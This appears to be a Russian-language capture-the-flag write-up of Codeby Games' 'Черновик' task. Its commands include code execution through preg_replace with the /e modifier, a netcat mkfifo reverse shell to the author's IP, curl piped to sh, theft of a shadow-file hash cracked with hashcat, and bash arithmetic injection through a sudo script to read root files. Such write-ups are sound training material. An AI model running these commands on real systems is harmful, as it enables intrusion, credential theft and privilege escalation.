Kevgen
Green Team
- 04.08.2020
- 44
- 86
Всем привет!
Сегодня разберем квест "Черновик" с платформы Codeby Games.В этом райтапе я постараюсь изложить решение таска наиболее подробно.
Итак, приступим!
Поиск точки входа
Заходим на первый IP, открываем код страницы, видим что есть спрятанная (hidden) область:Убираем hidden, появляется форма замены слова. Пробуем изменить "hacker" на "codeby"... Успешно. Идем смотреть скрипт, выполняющий замену:
Видим, что после отправки наше замененное слово "hacker", обрамляется в "/hacker/". Возвращаемся назад, пробуем заменить "/hacker/" на "codeby". Как результат, видим ошибку функции preg_replace():
Ищем в гугле эксплоиты preg_replace. Находим, что для выполнения кода нужно использовать обрамление "/hacker/e", что невозможно сделать через скрипт на сайте (получится "//hacker/e/").
Поэтому открываем postman, делаем POST запрос, где в теле 'x-www-form-urlencoded' проставляем следующие значения:
pattern = "/hacker/e",
replace = system('whoami') (сам исполняемый код),
paragraph = 1 (указываем с какого параграфа делать замену).
Если в ответе получили www-data, значит все ок.
Настройка Reverse Shell
Если у Вас белый IP, то пробрасывайте порт 4444 (с ним будем работать дальше). Иначе используйте
Ссылка скрыта от гостей
.Запускаем netcat на нашем устройстве
nc -lvnp 4444
для прослушивания порта. Далее идем на
Ссылка скрыта от гостей
, вводим свой ip, включаем и ищем подходящий revers shell.Я остановился на
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc my-ip 4444 >/tmp/f
, где my-ip - Ваш белый IP.Заливаем шелл командой:
system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc my-ip 4444 >/tmp/f')
. Запускаем, возвращаемся в терминал с netcat'ом. Проверяем соединение вводом команды: "whoami". Если ответ "www-data", то все ок.
Далее настроим наш терминал. Вводим команду
python -c 'import pty; pty.spawn("/bin/bash")'
и получаем интерактивную оболочку.Ищем уязвимости
Плутать по серверу и искать уязвимости вручную - это долго и глупо. Для этого есть утилита LinPEAS. Просто вводим командуcurl -L https://github.com/carlospolop/PEASS-ng/releases/download/20230731-452f0c44/linpeas.sh | sh
. Посмотрим вывод. Привлекает внимание несколько backup файлов, среди которых /etc/shadow.backup. Оригинальный файл /etc/shadow содержит хэшированные пароли пользователей и недоступен для чтения/записи. Но у нас есть бэкап который открывается.Откроем:
cat /etc/shadow.backup
. Видим хэш с солью нужного нам пользователя.Брутим пароль
Смотрим формат строки в файле:$6$xxxxxx$00000000000000000000:14715:0:99999:7:::
Первые 3 символа "$6$" указывают на кодировку хэша SHA-512.
Все, что между вторым и третьим символом доллара ($) - это соль.
Все, что дальше него до двоеточия ":" - это хэш.
Все, что дальше двоеточия включительно нам не нужно.
Раз есть хэш, то надо брутить! Создаем файл hash.txt и вводим туда наш хэш не оставляя пробелов до или после самого хэша.
Запускаем Брут командой
hashcat -m 1800 -a 0 -o crack.txt --remove hash.txt /usr/share/wordlists/rockyou.txt
, где 1800 - режим брута хэша (SHA-512 + salt), "-a 0" указывает на брутфорс по словарю, а crack.txt - выходной файл с паролем. Ждем.Через несколько минут получаем пароль.
Теперь подключаемся ко второму IP по ssh командой:
ssh derek@62.173.140.174 -p 18722
. Вводим пароль, полученный из хэша. Теперь мы можем прочесть нашу первую часть флага. Читаем: cat first_part
.Сохраняем первую часть в блокноте.
Повышаем привилегии
Первую часть флага мы получили, неплохо бы и вторую отыскать
Выполнив
sudo -l
открываем для себя файл guessNum.sh, который мы можем запускать. Сразу же открываем его cat'ом и видим, что он проверяет введенное значение сномером 1337

Ссылка скрыта от гостей
видим нужный нам пример повышения привилегий.Запускаем наш guessNum.sh. Копируем пример с сайта, но вводим, понятное дело, не
a[$(/bin/sh >&2)]+42
, а [$(ls /root/ >&2)]+1337
, для чтения директории root.И мы видим наш последний файл!
Открываем его командой
a[$(cat /root/last_part >&2)]+1337
и получаем последнюю часть флага!Соединяем две части флага и сдаем.